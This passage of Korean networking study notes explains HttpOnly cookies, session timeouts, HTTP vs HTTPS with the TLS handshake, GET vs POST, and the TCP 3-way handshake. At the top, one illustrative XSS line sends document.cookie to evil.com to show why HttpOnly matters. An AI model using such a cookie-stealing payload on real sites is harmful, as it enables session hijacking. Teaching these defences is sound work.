document.cookie  // "sessionId=abc123; theme=dark"

// XSS 공격 시 쿠키 탈취 가능
<script>
  // 악성 스크립트
  fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>

HttpOnly 사용 시:

// JavaScript로 쿠키 접근 불가
document.cookie  // HttpOnly 쿠키는 보이지 않음

// XSS 공격 시에도 쿠키 탈취 불가

보안 효과:

XSS 공격으로부터 쿠키 보호
세션 ID 같은 민감한 정보 보호
JavaScript 접근 완전 차단

권장:

세션 ID는 반드시 HttpOnly 사용
민감한 정보는 HttpOnly 쿠키 사용

7. 세션 만료 시간은 어떻게 설정하나?

적절한 만료 시간 설정:

활성 시간 기반 (Idle Timeout)
```
마지막 요청 후 30분 경과 → 세션 만료
```
- 사용자가 활동하지 않으면 세션 만료
- 보안성 높음
절대 시간 기반 (Absolute Timeout)
```
로그인 후 24시간 경과 → 세션 만료
```
- 로그인 시간 기준으로 만료
- 일정 시간 후 강제 만료

하이브리드 방식

활성 시간: 30분
절대 시간: 24시간
→ 둘 중 하나라도 만료되면 세션 만료

설정 예시:

// Spring Boot
server.servlet.session.timeout=30m  // 30분
server.servlet.session.cookie.max-age=1800  // 30분 (초)

권장:

일반 사용자: 30분 ~ 1시간
관리자: 15분 ~ 30분
금융 서비스: 5분 ~ 15분

Network_05) 복수가 아닙니다... https

jaemeon — Mon, 26 Jan 2026 08:24:34 +0900

Topic (오늘의 주제)

HTTP(HyperText Transfer Protocol)와 HTTPS(HyperText Transfer Protocol Secure)는 웹에서 데이터를 전송하는 프로토콜입니다. HTTPS는 HTTP에 SSL/TLS 암호화를 추가하여 데이터의 기밀성, 무결성, 인증을 보장하는 보안 강화 버전입니다.

Why (왜 사용하는가? 왜 중요한가?)

HTTP는 평문으로 데이터를 전송하므로 중간에 패킷을 가로채면 내용을 볼 수 있습니다. HTTPS는 SSL/TLS 암호화를 통해 데이터를 암호화하여 중간자 공격(MITM), 데이터 변조, 피싱 공격을 방지합니다. 특히 로그인, 결제, 개인정보 전송 시 HTTPS는 필수입니다.
HTTP와 HTTPS의 차이점(암호화, 포트 번호, 인증서, 성능), SSL/TLS의 동작 원리, 인증서의 역할, 그리고 HTTPS의 보안 메커니즘을 이해해야 합니다.

1. HTTP (HyperText Transfer Protocol)란?

HTTP의 정의

HTTP(HyperText Transfer Protocol)는 웹 브라우저와 웹 서버 간에 데이터를 주고받기 위한 애플리케이션 계층 프로토콜입니다.

HTTP의 주요 특징

평문 전송 (Plain Text)
- 데이터가 암호화되지 않은 상태로 전송
- 중간에 패킷을 가로채면 내용을 볼 수 있음
포트 번호: 80
```
http://example.com:80
```
상태 없음 (Stateless)
- 각 요청은 독립적
- 이전 요청 정보를 기억하지 않음

요청-응답 모델

클라이언트 → 서버: 요청 (Request)
서버 → 클라이언트: 응답 (Response)

HTTP 요청/응답 예시

요청:

GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html

응답:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234

<html>...</html>

HTTP의 보안 문제점

도청 (Eavesdropping)

네트워크에서 패킷을 가로채면 내용 확인 가능

클라이언트 → 서버: "비밀번호: 1234"
[공격자가 패킷 가로채기]
공격자: "비밀번호가 1234구나!"

중간자 공격 (MITM - Man-In-The-Middle)
- 공격자가 중간에서 통신을 가로채고 변조
```
클라이언트 → [공격자] → 서버
[공격자가 데이터를 변조하거나 가로챔]
```
데이터 변조 (Tampering)
- 전송 중 데이터가 변조될 수 있음
```
원본: "송금: 1000원"
변조: "송금: 10000원"
```
피싱 (Phishing)
- 가짜 웹사이트로 사용자를 유도

2. HTTPS (HyperText Transfer Protocol Secure)란?

HTTPS의 정의

HTTPS(HyperText Transfer Protocol Secure)는 HTTP에 SSL/TLS 암호화를 추가한 보안 강화 버전입니다.

HTTPS의 주요 특징

암호화 전송 (Encrypted)
- 데이터가 암호화되어 전송
- 중간에 패킷을 가로채도 내용을 볼 수 없음
포트 번호: 443
```
https://example.com:443
```
인증서 기반 인증
- 서버의 신원을 확인
- 가짜 서버 방지
데이터 무결성 보장
- 전송 중 데이터 변조 감지

HTTPS의 보안 기능

기밀성 (Confidentiality)
- 데이터 암호화로 내용 보호
무결성 (Integrity)
- 데이터 변조 감지 및 방지
인증 (Authentication)
- 서버의 신원 확인

3. HTTP vs HTTPS 비교

핵심 차이점

구분	HTTP	HTTPS
프로토콜	HTTP	HTTP + SSL/TLS
포트 번호	80	443
암호화	없음 (평문)	있음 (암호화)
인증서	불필요	필요 (CA 발급)
보안	취약	강함
속도	빠름	상대적으로 느림 (암호화/복호화 오버헤드)
SEO	불리	유리 (검색 엔진이 HTTPS 우선)
브라우저 표시	(자물쇠 없음)	(자물쇠 표시)

데이터 전송 비교

HTTP (평문 전송):

클라이언트                    서버
    |                         |
    |---- "비밀번호: 1234" --->|  [평문으로 전송]
    |                         |
[공격자가 패킷 가로채기]
공격자: "비밀번호가 1234구나!"

HTTPS (암호화 전송):

클라이언트                    서버
    |                         |
    |---- "a8f5f167f44f4..." -->|  [암호화된 데이터]
    |                         |
[공격자가 패킷 가로채기]
공격자: "무슨 내용인지 모르겠다..."

4. SSL/TLS란?

SSL/TLS의 정의

SSL(Secure Sockets Layer)과 TLS(Transport Layer Security)는 전송 계층에서 데이터를 암호화하는 프로토콜입니다.

역사:

SSL 1.0, 2.0, 3.0 (구식, 사용 안 함)
TLS 1.0, 1.1 (사용 안 함, 보안 취약)
TLS 1.2, 1.3 (현재 사용)

SSL/TLS의 역할

대칭 키 암호화
- 실제 데이터 전송 시 사용
- 빠른 암호화/복호화
비대칭 키 암호화
- 대칭 키를 안전하게 교환하기 위해 사용
- 공개키/개인키 쌍 사용
인증서 검증
- 서버의 신원 확인
- CA(Certificate Authority)가 발급한 인증서 확인

5. HTTPS의 동작 원리 (SSL/TLS Handshake)

전체 흐름

클라이언트                    서버
    |                         |
    |---- Client Hello ------>|  [1단계: 클라이언트가 지원하는 암호화 방식 전송]
    |                         |
    |<--- Server Hello -------|  [2단계: 서버가 선택한 암호화 방식 전송]
    |    Certificate          |  [3단계: 서버 인증서 전송]
    |    Server Hello Done    |
    |                         |
    |---- Client Key Exchange->|  [4단계: 대칭 키 전송 (서버 공개키로 암호화)]
    |    Change Cipher Spec   |  [5단계: 암호화 시작 알림]
    |    Finished             |
    |                         |
    |<--- Change Cipher Spec --|  [6단계: 서버도 암호화 시작]
    |    Finished             |
    |                         |
  [암호화된 통신 시작]
    |                         |
    |<==== 암호화된 데이터 ====>|  [7단계: 실제 데이터 전송]
    |                         |

1단계: Client Hello

클라이언트 → 서버

클라이언트가 서버에 연결을 요청합니다.

전송 내용:
- 지원하는 TLS 버전
- 지원하는 암호화 알고리즘 목록
- 클라이언트 랜덤 값 (Client Random)

2단계: Server Hello

서버 → 클라이언트

서버가 클라이언트의 요청에 응답합니다.

전송 내용:
- 선택한 TLS 버전
- 선택한 암호화 알고리즘
- 서버 랜덤 값 (Server Random)

3단계: Certificate (인증서 전송)

서버 → 클라이언트

서버가 자신의 인증서를 전송합니다.

전송 내용:
- 서버 인증서 (CA가 발급)
- 서버 공개키

클라이언트의 인증서 검증:

인증서가 유효한 CA에서 발급되었는지 확인
인증서가 만료되지 않았는지 확인
인증서의 도메인이 일치하는지 확인

4단계: Client Key Exchange

클라이언트 → 서버

클라이언트가 대칭 키(세션 키)를 생성하고 서버 공개키로 암호화하여 전송합니다.

과정:
1. 클라이언트가 대칭 키 생성 (Pre-Master Secret)
2. 서버 공개키로 암호화
3. 서버에 전송

서버의 처리:

서버 개인키로 복호화하여 대칭 키 획득

5-6단계: Change Cipher Spec & Finished

양쪽 모두 암호화 시작을 알립니다.

클라이언트와 서버가 모두:
1. Change Cipher Spec: 암호화 시작 알림
2. Finished: 핸드셰이크 완료 확인

7단계: 암호화된 통신

이제 모든 데이터가 암호화되어 전송됩니다.

클라이언트                    서버
    |                         |
    |<==== 암호화된 HTTP 데이터 ====>|
    |                         |

6. 인증서 (Certificate)란?

인증서의 정의

인증서(Certificate)는 서버의 신원을 증명하는 디지털 문서입니다.

인증서의 구성 요소

서버 정보
- 도메인 이름
- 조직 정보
서버 공개키
- 클라이언트가 대칭 키를 암호화할 때 사용
CA 서명
- 신뢰할 수 있는 CA(Certificate Authority)가 서명
- 인증서의 진위 확인

CA (Certificate Authority)란?

CA(Certificate Authority)는 인증서를 발급하는 신뢰할 수 있는 기관입니다.

주요 CA:

Let's Encrypt (무료)
DigiCert
GlobalSign
Symantec

CA의 역할:

서버의 신원 확인
인증서 발급
인증서 서명

인증서 검증 과정

클라이언트가 서버 인증서를 받음
    ↓
1. 인증서가 유효한 CA에서 발급되었는지 확인
    ↓
2. 인증서가 만료되지 않았는지 확인
    ↓
3. 인증서의 도메인이 현재 접속한 도메인과 일치하는지 확인
    ↓
4. 모든 검증 통과 → 서버 신뢰
   검증 실패 → 경고 표시

7. HTTPS의 보안 메커니즘

1. 기밀성 (Confidentiality)

대칭 키 암호화로 데이터 보호:

평문: "비밀번호: 1234"
암호화: "a8f5f167f44f4..."

공격자가 패킷을 가로채도:

암호화된 데이터만 볼 수 있음
대칭 키를 모르면 복호화 불가능

2. 무결성 (Integrity)

해시 함수로 데이터 변조 감지:

원본 데이터 → 해시 값 계산
전송 중 변조 → 해시 값이 달라짐
→ 변조 감지

MAC (Message Authentication Code):

데이터와 함께 MAC 전송
수신자가 MAC을 검증하여 변조 여부 확인

3. 인증 (Authentication)

인증서로 서버 신원 확인:

서버가 인증서를 제시
클라이언트가 CA를 통해 인증서 검증
→ 가짜 서버 방지

8. HTTP vs HTTPS 성능 비교

HTTPS의 오버헤드

SSL/TLS Handshake
- 초기 연결 시 추가 시간 소요
- 약 100-200ms 추가
암호화/복호화
- CPU 사용량 증가
- 약 2-5% 성능 저하
인증서 검증
- 인증서 검증 시간
- 약간의 지연

성능 최적화

TLS 1.3 사용
- Handshake 시간 단축
- 0-RTT 지원
세션 재사용 (Session Resumption)
- 이전 세션 정보 재사용
- Handshake 생략
HTTP/2 사용
- 멀티플렉싱으로 성능 향상
- HTTPS와 함께 사용

결론:

현대 하드웨어에서는 HTTPS 오버헤드가 미미함
보안 이점이 성능 저하보다 훨씬 큼
모든 웹사이트는 HTTPS를 사용해야 함

9. 언제 HTTP를 사용하고 언제 HTTPS를 사용할까?

HTTP를 사용해야 하는 경우

❌ 거의 없음 (현재는 권장하지 않음)
개발/테스트 환경 (로컬 개발)
내부 네트워크 (이미 보안된 환경)

HTTPS를 사용해야 하는 경우

✅ 모든 공개 웹사이트 (필수)
✅ 로그인 페이지
✅ 결제 페이지
✅ 개인정보 입력 페이지
✅ API 서버
✅ 모바일 앱 백엔드

현재 추세:

모든 주요 웹사이트가 HTTPS 사용
브라우저가 HTTP 사이트에 경고 표시
검색 엔진이 HTTPS 사이트 우선 노출

요약

HTTP는 평문으로 데이터를 전송하는 프로토콜로, 포트 80을 사용합니다. 중간에 패킷을 가로채면 내용을 볼 수 있어 보안에 취약합니다.
HTTPS는 HTTP에 SSL/TLS 암호화를 추가한 보안 강화 버전으로, 포트 443을 사용합니다. 데이터를 암호화하여 기밀성, 무결성, 인증을 보장합니다.
SSL/TLS Handshake를 통해 서버 인증서를 검증하고 대칭 키를 안전하게 교환한 후, 암호화된 통신을 시작합니다.
현재는 모든 공개 웹사이트에서 HTTPS를 사용해야 하며, 보안 이점이 성능 저하보다 훨씬 큽니다.

참고 자료

RFC 7230 - HTTP/1.1 Message Syntax and Routing
RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3
Let's Encrypt - 무료 SSL/TLS 인증서
MDN Web Docs - HTTPS

예상 꼬리질문 정리

1. SSL과 TLS의 차이는?

역사적 차이:

SSL (Secure Sockets Layer): Netscape가 개발 (1994년)
- SSL 1.0, 2.0, 3.0
- 현재 사용 안 함 (보안 취약)
TLS (Transport Layer Security): IETF가 SSL 3.0을 기반으로 개발 (1999년)
- TLS 1.0, 1.1, 1.2, 1.3
- 현재 TLS 1.2, 1.3 사용

현재:

"SSL"이라고 부르지만 실제로는 "TLS"를 사용
용어는 혼용되지만 기술적으로는 TLS

2. 대칭 키와 비대칭 키 암호화의 차이는?

대칭 키 암호화 (Symmetric Key Encryption):

같은 키로 암호화/복호화
빠름 (실제 데이터 전송에 사용)
키 교환이 어려움

비대칭 키 암호화 (Asymmetric Key Encryption):

공개키/개인키 쌍 사용
느림 (대칭 키 교환에만 사용)
공개키는 공개, 개인키는 비공개

HTTPS에서의 사용:

비대칭 키로 대칭 키를 안전하게 교환
대칭 키로 실제 데이터 암호화

3. 인증서가 없으면 어떻게 되나?

자체 서명 인증서 (Self-Signed Certificate):

CA 없이 자체적으로 서명한 인증서
브라우저가 "신뢰할 수 없는 연결" 경고 표시
개발/테스트 환경에서만 사용

인증서 없이 HTTPS 사용 불가:

HTTPS는 인증서가 필수
인증서 없으면 Handshake 실패

해결 방법:

Let's Encrypt 등에서 무료 인증서 발급
상용 CA에서 유료 인증서 구매

4. HTTPS는 완전히 안전한가?

HTTPS의 한계:

서버 측 보안 문제는 해결하지 못함
클라이언트 측 보안 문제는 해결하지 못함
인증서 관리 오류 (만료, 도메인 불일치)
약한 암호화 알고리즘 사용

추가 보안 필요:

서버 보안 강화
클라이언트 보안 강화
정기적인 보안 업데이트
보안 모니터링

결론:

HTTPS는 필수이지만 완전한 보안은 아님
여러 보안 계층을 함께 사용해야 함

5. HTTP/2와 HTTPS의 관계는?

HTTP/2:

HTTP 프로토콜의 개선 버전
멀티플렉싱, 헤더 압축 등 성능 향상

HTTPS와의 관계:

HTTP/2는 HTTPS를 필수로 요구
대부분의 브라우저가 HTTP/2 over HTTPS만 지원
HTTP/2 over HTTP는 지원하지 않음

이유:

보안을 강제하기 위함
모든 통신을 암호화

Network_04) 직역하지 마세요. 조회하고 게시하는 get, post

jaemeon — Mon, 26 Jan 2026 08:18:36 +0900

Topic (오늘의 주제)

GET과 POST는 HTTP(HyperText Transfer Protocol)에서 가장 많이 사용되는 두 가지 메서드입니다. GET은 서버로부터 데이터를 조회할 때 사용하고, POST는 서버에 데이터를 생성하거나 전송할 때 사용합니다. 각 메서드의 특성과 데이터 전송 방식, 그리고 사용 사례를 이해하는 것이 중요합니다.

Why (왜 사용하는가? 왜 중요한가?)

GET과 POST는 웹 개발에서 가장 기본적이면서도 중요한 HTTP 메서드입니다. 각 메서드의 특성(멱등성, 안전성, 캐싱 가능 여부)과 데이터 전송 방식을 이해하면 RESTful API를 올바르게 설계할 수 있고, 보안과 성능을 고려한 애플리케이션을 개발할 수 있습니다.
GET과 POST의 차이점(데이터 전송 위치, 용도, 캐싱, 브라우저 히스토리, 멱등성, 안전성), 각 메서드의 데이터 흐름, 그리고 언제 어떤 메서드를 사용해야 하는지 이해해야 합니다.

1. HTTP 메서드란?

HTTP 메서드의 정의

HTTP 메서드(HTTP Method)는 클라이언트가 서버에 요청할 때 수행하고자 하는 동작을 나타내는 명령어입니다.

주요 HTTP 메서드

GET: 리소스 조회
POST: 리소스 생성
PUT: 리소스 전체 수정
PATCH: 리소스 부분 수정
DELETE: 리소스 삭제

2. GET 메서드

GET의 정의

GET은 서버로부터 리소스를 조회(Read)할 때 사용하는 메서드입니다.

GET의 주요 특징

데이터 전송 위치: URL의 쿼리 스트링(Query String)
```
GET /users?id=123&name=홍길동 HTTP/1.1
Host: example.com
```

멱등성(Idempotent): 여러 번 요청해도 결과가 동일

GET /users?id=123 (1번 요청) → 사용자 정보 반환
GET /users?id=123 (2번 요청) → 같은 사용자 정보 반환
GET /users?id=123 (3번 요청) → 같은 사용자 정보 반환

안전성(Safe): 서버의 상태를 변경하지 않음
- 조회만 수행하므로 서버 데이터에 영향 없음
캐싱 가능: 브라우저나 프록시 서버에서 캐싱 가능
- 같은 요청은 캐시에서 응답 가능
브라우저 히스토리 저장: URL이 히스토리에 저장됨
북마크 가능: URL을 북마크할 수 있음

GET 요청의 데이터 흐름

클라이언트                    서버
    |                         |
    |---- GET /users?id=123 -->|  [요청: URL에 데이터 포함]
    |                         |
    |                         |  [서버: 데이터 조회]
    |                         |
    |<---- 200 OK (데이터) -----|  [응답: 조회된 데이터]
    |                         |

요청 예시:

GET /api/users?id=123&name=홍길동 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: application/json

응답 예시:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 156

{
  "id": 123,
  "name": "홍길동",
  "email": "hong@example.com"
}

GET의 사용 사례

리소스 조회

GET /users/123          # 사용자 정보 조회
GET /products?category=electronics  # 상품 목록 조회
GET /articles/456       # 게시글 조회

검색

GET /search?q=spring    # 검색어로 검색
GET /filter?price=1000  # 필터링

페이지 조회

GET /home               # 홈 페이지
GET /about              # 소개 페이지

3. POST 메서드

POST의 정의

POST는 서버에 데이터를 전송하여 리소스를 생성(Create)하거나 처리할 때 사용하는 메서드입니다.

POST의 주요 특징

데이터 전송 위치: HTTP 요청 본문(Request Body)

POST /users HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 45

{
  "name": "홍길동",
  "email": "hong@example.com"
}

비멱등성(Non-idempotent): 같은 요청을 여러 번 하면 다른 결과 발생 가능

POST /users (1번 요청) → 사용자 1 생성
POST /users (2번 요청) → 사용자 2 생성 (다른 결과)
POST /users (3번 요청) → 사용자 3 생성 (다른 결과)

안전성 없음(Unsafe): 서버의 상태를 변경함
- 데이터 생성, 수정, 삭제 등 서버 상태 변경
캐싱 불가능: 일반적으로 캐싱하지 않음
- 서버 상태를 변경하므로 캐시 사용 불가
브라우저 히스토리 저장 안 함: 일반적으로 히스토리에 저장하지 않음
북마크 불가능: 요청 본문이 포함되어 있어 북마크 의미 없음

POST 요청의 데이터 흐름

클라이언트                    서버
    |                         |
    |---- POST /users -------->|  [요청: 본문에 데이터 포함]
    |    Body: {name, email}   |
    |                         |
    |                         |  [서버: 데이터 처리/생성]
    |                         |
    |<---- 201 Created --------|  [응답: 생성된 리소스 정보]
    |    Location: /users/123  |
    |                         |

요청 예시:

POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 45

{
  "name": "홍길동",
  "email": "hong@example.com"
}

응답 예시:

HTTP/1.1 201 Created
Location: /api/users/123
Content-Type: application/json
Content-Length: 156

{
  "id": 123,
  "name": "홍길동",
  "email": "hong@example.com",
  "createdAt": "2024-01-01T00:00:00Z"
}

POST의 사용 사례

리소스 생성

POST /users              # 새 사용자 생성
POST /articles           # 새 게시글 작성
POST /orders             # 새 주문 생성

데이터 전송 및 처리

POST /login              # 로그인 (인증 정보 전송)
POST /upload             # 파일 업로드
POST /payment            # 결제 처리

복잡한 쿼리

POST /search             # 복잡한 검색 조건 (본문에 JSON)
POST /filter             # 복잡한 필터링

4. GET vs POST 비교

핵심 차이점

구분	GET	POST
용도	리소스 조회	리소스 생성/처리
데이터 위치	URL 쿼리 스트링	HTTP 요청 본문
데이터 크기 제한	있음 (URL 길이 제한)	없음 (본문 크기 제한만)
멱등성	멱등 (Idempotent)	비멱등 (Non-idempotent)
안전성	안전 (Safe)	안전하지 않음 (Unsafe)
캐싱	가능	불가능
브라우저 히스토리	저장됨	저장 안 됨
북마크	가능	불가능
보안	URL에 노출 (민감 정보 부적합)	본문에 포함 (상대적으로 안전)
사용 예시	검색, 조회	생성, 로그인, 파일 업로드

데이터 전송 위치 비교

GET:

GET /api/users?id=123&name=홍길동 HTTP/1.1
Host: example.com
[데이터가 URL에 포함]

POST:

POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "id": 123,
  "name": "홍길동"
}
[데이터가 본문에 포함]

5. 데이터 흐름 상세 분석

GET 요청의 전체 흐름

1. 클라이언트가 URL에 데이터를 포함하여 요청
   GET /api/users?id=123 HTTP/1.1
   Host: example.com
      ↓
2. 네트워크를 통해 서버로 전송
   [TCP/IP 패킷]
      ↓
3. 서버가 요청을 받아 처리
   - URL에서 쿼리 파라미터 추출 (id=123)
   - 데이터베이스에서 조회
      ↓
4. 서버가 응답 반환
   HTTP/1.1 200 OK
   Content-Type: application/json

   {"id": 123, "name": "홍길동"}
      ↓
5. 클라이언트가 응답 수신 및 처리
   - JSON 파싱
   - 화면에 표시

POST 요청의 전체 흐름

1. 클라이언트가 본문에 데이터를 포함하여 요청
   POST /api/users HTTP/1.1
   Host: example.com
   Content-Type: application/json

   {"name": "홍길동", "email": "hong@example.com"}
      ↓
2. 네트워크를 통해 서버로 전송
   [TCP/IP 패킷]
      ↓
3. 서버가 요청을 받아 처리
   - 본문에서 데이터 추출 (JSON 파싱)
   - 데이터 검증
   - 데이터베이스에 저장
      ↓
4. 서버가 응답 반환
   HTTP/1.1 201 Created
   Location: /api/users/123

   {"id": 123, "name": "홍길동", ...}
      ↓
5. 클라이언트가 응답 수신 및 처리
   - 생성된 리소스 정보 확인
   - 화면 업데이트

6. 언제 GET을 사용하고 언제 POST를 사용할까?

GET을 사용해야 하는 경우

✅ 리소스 조회: 서버에서 데이터를 읽어올 때
✅ 검색: 검색어, 필터 조건을 전송할 때
✅ 멱등성이 필요한 작업: 같은 요청을 여러 번 해도 같은 결과
✅ 캐싱이 필요한 경우: 자주 조회하는 데이터
✅ URL 공유가 필요한 경우: 북마크, 공유 가능

예시:

GET /users/123              # 사용자 정보 조회
GET /products?category=electronics  # 상품 목록 조회
GET /search?q=spring         # 검색

POST를 사용해야 하는 경우

✅ 리소스 생성: 새 데이터를 서버에 저장할 때
✅ 서버 상태 변경: 데이터 수정, 삭제
✅ 민감한 정보 전송: 비밀번호, 개인정보
✅ 대용량 데이터: URL 길이 제한을 피하기 위해
✅ 복잡한 데이터 구조: JSON 객체 등

예시:

POST /users                  # 새 사용자 생성
POST /login                  # 로그인 (비밀번호 전송)
POST /articles               # 새 게시글 작성
POST /upload                 # 파일 업로드

7. 보안 고려사항

GET의 보안 문제

문제점:

URL에 데이터가 노출됨
브라우저 히스토리에 저장됨
서버 로그에 기록됨
프록시 서버 로그에 기록됨

예시:

GET /login?username=admin&password=1234
[비밀번호가 URL에 노출됨!]

해결:

민감한 정보는 POST 사용
인증 정보는 POST로 전송

POST의 보안 고려사항

장점:

본문에 데이터가 포함되어 URL에 노출되지 않음
HTTPS와 함께 사용하면 암호화 가능

주의사항:

HTTPS를 사용하지 않으면 네트워크에서 데이터를 볼 수 있음
CSRF(Cross-Site Request Forgery) 공격에 취약할 수 있음

요약

GET은 리소스를 조회할 때 사용하며, 데이터를 URL의 쿼리 스트링에 포함하여 전송합니다. 멱등성과 안전성을 가지며, 캐싱이 가능하고 브라우저 히스토리에 저장됩니다.
POST는 리소스를 생성하거나 처리할 때 사용하며, 데이터를 HTTP 요청 본문에 포함하여 전송합니다. 비멱등성이며 서버 상태를 변경하므로 캐싱이 불가능합니다.
데이터 흐름: GET은 URL에 데이터를 포함하여 전송하고, POST는 본문에 데이터를 포함하여 전송합니다. POST는 대용량 데이터와 민감한 정보 전송에 적합합니다.
선택 기준: 조회는 GET, 생성/수정/삭제는 POST를 사용합니다. 민감한 정보는 반드시 POST를 사용하고 HTTPS와 함께 사용해야 합니다.

참고 자료

예상 꼬리질문 정리

1. GET 요청에도 본문을 포함할 수 있나?

기술적으로는 가능하지만 권장하지 않음:

HTTP 스펙상 GET 요청에도 본문을 포함할 수 있음
하지만 대부분의 서버, 프록시, 캐싱 시스템이 GET 본문을 무시함
GET의 의미(조회)와 맞지 않음

권장 사항:

GET은 URL 쿼리 스트링만 사용
본문이 필요하면 POST 사용

2. POST도 멱등하게 만들 수 있나?

가능하지만 POST의 본래 의미와 맞지 않음:

POST는 본래 비멱등성을 가정하지만, 구현에 따라 멱등하게 만들 수 있습니다.

예시:

POST /users
{"id": 123, "name": "홍길동"}

[서버가 id를 확인하여 이미 존재하면 업데이트, 없으면 생성]
→ 멱등하게 동작 가능

하지만 권장하지 않음:

PUT이나 PATCH를 사용하는 것이 더 적절
RESTful API 설계 원칙에 맞지 않음

3. GET과 POST의 데이터 크기 제한은?

GET:

URL 길이 제한: 브라우저마다 다름 (일반적으로 2048자)
서버 설정에 따라 다를 수 있음

POST:

본문 크기 제한: 서버 설정에 따라 다름
일반적으로 수 MB ~ 수 GB까지 가능
파일 업로드 시 더 큰 크기 가능

권장:

GET은 작은 데이터만 전송
대용량 데이터는 POST 사용

4. PUT, PATCH, DELETE와의 차이는?

메서드	용도	멱등성	안전성
GET	조회	✅	✅
POST	생성	❌	❌
PUT	전체 수정	✅	❌
PATCH	부분 수정	❌	❌
DELETE	삭제	✅	❌

POST vs PUT:

POST: 리소스 생성 (비멱등)
PUT: 리소스 전체 수정 (멱등)

PUT vs PATCH:

PUT: 리소스 전체를 교체
PATCH: 리소스 일부만 수정

5. RESTful API에서 GET과 POST의 역할은?

RESTful API 설계 원칙:

GET    /users          # 사용자 목록 조회
GET    /users/123      # 사용자 상세 조회
POST   /users          # 새 사용자 생성
PUT    /users/123      # 사용자 전체 수정
PATCH  /users/123      # 사용자 부분 수정
DELETE /users/123      # 사용자 삭제

GET과 POST의 역할:

GET: 리소스 조회 (Read)
POST: 리소스 생성 (Create)

RESTful 원칙 준수:

각 메서드의 의미에 맞게 사용
멱등성과 안전성 고려
적절한 HTTP 상태 코드 반환

Network_03) 손 3개가 아닌 3개의 단계별 악수법 입니다.

jaemeon — Mon, 26 Jan 2026 08:12:15 +0900

Topic (오늘의 주제)

3-way handshake는 TCP(Transmission Control Protocol)에서 두 호스트 간의 연결을 설정하기 위해 수행하는 3단계 과정입니다. 클라이언트와 서버가 서로의 통신 준비 상태를 확인하고 시퀀스 번호를 동기화하여 신뢰성 있는 연결을 수립합니다.

Why (왜 사용하는가? 왜 중요한가?)

TCP는 연결 지향형 프로토콜이므로 데이터 전송 전에 연결을 설정해야 합니다. 3-way handshake를 통해 양쪽 모두 통신 준비가 되었음을 확인하고, 시퀀스 번호를 동기화하여 데이터의 순서를 보장할 수 있습니다.
3-way handshake의 각 단계에서 사용되는 플래그(SYN, ACK)의 의미, 시퀀스 번호와 확인 응답 번호의 역할, 그리고 연결 해제 과정인 4-way handshake와의 차이를 이해해야 합니다.

1. 3-way Handshake란?

3-way Handshake의 정의

3-way handshake는 TCP 연결을 설정하기 위해 클라이언트와 서버가 3번의 패킷을 주고받는 과정입니다.

왜 3번인가?

1번: 클라이언트 → 서버 (연결 요청)
2번: 서버 → 클라이언트 (연결 수락 + 확인)
3번: 클라이언트 → 서버 (확인 응답)

양쪽 모두 상대방의 통신 준비 상태를 확인하기 위해 최소 3번의 패킷 교환이 필요합니다.

2. 3-way Handshake 과정

전체 흐름도

클라이언트                    서버
    |                         |
    |---- SYN (seq=x) ------->|  [1단계: 연결 요청]
    |                         |
    |<-- SYN-ACK (seq=y, ack=x+1) --|  [2단계: 연결 수락 + 확인]
    |                         |
    |---- ACK (ack=y+1) ------>|  [3단계: 확인 응답]
    |                         |
  [연결 설정 완료]
  [데이터 전송 시작 가능]

1단계: SYN (Synchronize) - 연결 요청

클라이언트 → 서버

클라이언트가 서버에 연결을 요청합니다.

TCP 헤더:
- SYN = 1 (연결 요청 플래그)
- Sequence Number = x (초기 시퀀스 번호, 랜덤 값)
- ACK = 0

의미:

클라이언트가 서버에 "연결하고 싶다"고 요청
초기 시퀀스 번호(x)를 서버에 알림
클라이언트는 서버의 응답을 기다림 (SYN_SENT 상태)

2단계: SYN-ACK (Synchronize-Acknowledgment) - 연결 수락 + 확인

서버 → 클라이언트

서버가 연결을 수락하고 클라이언트의 요청을 확인합니다.

TCP 헤더:
- SYN = 1 (연결 수락 플래그)
- ACK = 1 (확인 응답 플래그)
- Sequence Number = y (서버의 초기 시퀀스 번호, 랜덤 값)
- Acknowledgment Number = x + 1 (클라이언트의 시퀀스 번호 + 1)

의미:

서버가 "연결을 수락한다"고 응답
서버의 초기 시퀀스 번호(y)를 클라이언트에 알림
클라이언트의 요청(x)을 받았다는 확인 (ack = x + 1)
서버는 클라이언트의 최종 확인을 기다림 (SYN_RECEIVED 상태)

3단계: ACK (Acknowledgment) - 확인 응답

클라이언트 → 서버

클라이언트가 서버의 응답을 확인합니다.

TCP 헤더:
- ACK = 1 (확인 응답 플래그)
- Acknowledgment Number = y + 1 (서버의 시퀀스 번호 + 1)
- SYN = 0 (이제 일반 데이터 전송 단계)

의미:

클라이언트가 서버의 응답(y)을 받았다는 확인 (ack = y + 1)
이제 양쪽 모두 연결이 설정되었음을 확인
데이터 전송 시작 가능 (ESTABLISHED 상태)

3. 각 단계의 상태 변화

클라이언트 상태 변화

CLOSED
  ↓
[1단계: SYN 전송]
  ↓
SYN_SENT (서버 응답 대기)
  ↓
[2단계: SYN-ACK 수신]
  ↓
[3단계: ACK 전송]
  ↓
ESTABLISHED (연결 완료, 데이터 전송 가능)

서버 상태 변화

LISTEN (연결 요청 대기)
  ↓
[1단계: SYN 수신]
  ↓
[2단계: SYN-ACK 전송]
  ↓
SYN_RECEIVED (클라이언트 확인 대기)
  ↓
[3단계: ACK 수신]
  ↓
ESTABLISHED (연결 완료, 데이터 전송 가능)

4. 시퀀스 번호(Sequence Number)의 역할

시퀀스 번호란?

시퀀스 번호(Sequence Number)는 TCP에서 데이터의 순서를 보장하기 위해 사용하는 번호입니다.

3-way Handshake에서의 시퀀스 번호

1단계: 클라이언트의 초기 시퀀스 번호 (ISN - Initial Sequence Number)

클라이언트: seq = x (랜덤 값, 보안을 위해 예측 불가능하게 설정)

2단계: 서버의 초기 시퀀스 번호

서버: seq = y (랜덤 값)
서버: ack = x + 1 (클라이언트의 다음 시퀀스 번호 기대)

3단계: 클라이언트의 확인 응답

클라이언트: ack = y + 1 (서버의 다음 시퀀스 번호 기대)

시퀀스 번호 동기화의 의미

